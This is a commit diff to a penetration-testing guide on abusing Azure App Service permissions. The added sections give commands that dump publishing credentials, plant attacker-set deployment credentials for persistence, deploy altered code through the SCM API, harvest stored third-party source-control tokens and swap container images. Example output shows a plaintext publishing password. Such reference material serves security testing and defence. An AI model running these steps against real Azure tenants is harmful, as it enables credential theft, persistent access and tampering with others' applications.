Skip to content

Commit

Permalink
app services
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop committed Jan 3, 2025
1 parent 77c093c commit e3e5cfe
Show file tree
Hide file tree
Showing 3 changed files with 279 additions and 116 deletions.
38 changes: 19 additions & 19 deletions src/pentesting-cloud/azure-security/az-enumeration-tools.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,25 +6,25 @@

> [!TIP]
> In linux you will need to install PowerShell Core:
>
> ```bash
> sudo apt-get update
> sudo apt-get install -y wget apt-transport-https software-properties-common
>
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Update repos
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Install & start powershell
> sudo apt-get install -y powershell
> pwsh
>
> # Az cli
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```

## Install PowerShell in MacOS

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ For more information about Azure App services check:

### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

These permissions allows get a **SSH shell** inside a web app. They also allow to **debug** the application.
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.

- **SSH in single command**:

Expand Down Expand Up @@ -43,6 +43,138 @@ ssh root@127.0.0.1 -p 39895
4. Select the App service you want to debug, right click and select "Start Debugging".
5. If the app doesn0t have debugging enabled, the extnsion will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.

### Obtaining SCM Credentials & Enabling Basic Authentication

To obtain the SCM credentials, you can use the following **commands and permissions**:

- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:

```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```

Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.

Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.

- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:

```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```

Note how the **credentials are the same** as in the previous command.

- Another option would be to **set you own creds** and use them:

```bash
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
```

Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.

Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.

> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.

- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`

```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
### Publish code using SCM credentials
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.

For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.

Then you can **publish the code** with the following command:

```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```

### Microsoft.Web/sites/publish/Action | SCM credentials

Expand All @@ -56,10 +188,23 @@ az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/lala/job_log.txt" \
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
```

- Read **Webjobs** source code:

```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
```

- Create **continuous Webjob**:

```bash
Expand Down Expand Up @@ -88,6 +233,7 @@ az webapp config connection-string list --name <name> --resource-group <res-grou
az webapp config appsettings list --name <name> --resource-group <res-group>
```


### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
Expand All @@ -96,117 +242,71 @@ These permissions allow to **assign a managed identity** to the App service, so
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```

### Read Configured Third Party Credentials









### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:

```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```

Another option would be to set you own creds and use them using:

```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```

- If **REDACTED** credentials

If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`

```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Method SCM**
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.

```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```

_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.

- **Method FTP**
Connect to the FTP server using:
Here you have some command examples to check the tokens:

```bash
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```

_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### Update App Code from the source

### Microsoft.Web/sites/publish/Action
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- To get the SCM credential tou need the permission:
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.

```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
### Microsoft.Web/sites/hostruntime/vfs/read
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
This permission allows to **read the source code** of the app through the VFS:
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a maclious container.
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
Expand Down
Loading

0 comments on commit e3e5cfe

Please sign in to comment.